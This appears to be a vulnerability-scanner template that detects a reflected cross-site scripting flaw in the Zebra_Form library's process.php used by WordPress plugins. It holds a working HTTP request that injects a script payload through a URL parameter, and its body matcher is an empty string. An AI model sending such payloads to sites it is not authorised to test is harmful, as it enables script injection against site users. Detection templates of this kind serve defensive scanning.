id: wordpress-zebra-form-xss info: name: Zebra_Form PHP Library <= 2.9.8 - Cross-Site Scripting author: madrobot severity: medium description: | Zebra_Form PHP library 2.9.8 and prior (which is used by some WordPress plugins) is affected by reflected cross-site scripting vulnerabilities via process.php. reference: - https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html - https://wpscan.com/vulnerability/e4b796fa-3215-43ff-a6aa-71f6e1db25e5 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 tags: wordpress,xss,wp,wpscan metadata: max-request: 1 http: - raw: - | POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074 Origin: null -----------------------------77916619616724262872902741074 Content-Disposition: form-data; name="upload"; filename="{{randstr}}.txt" Content-Type: text/plain Test -----------------------------77916619616724262872902741074-- matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - "text/html" - type: status status: - 200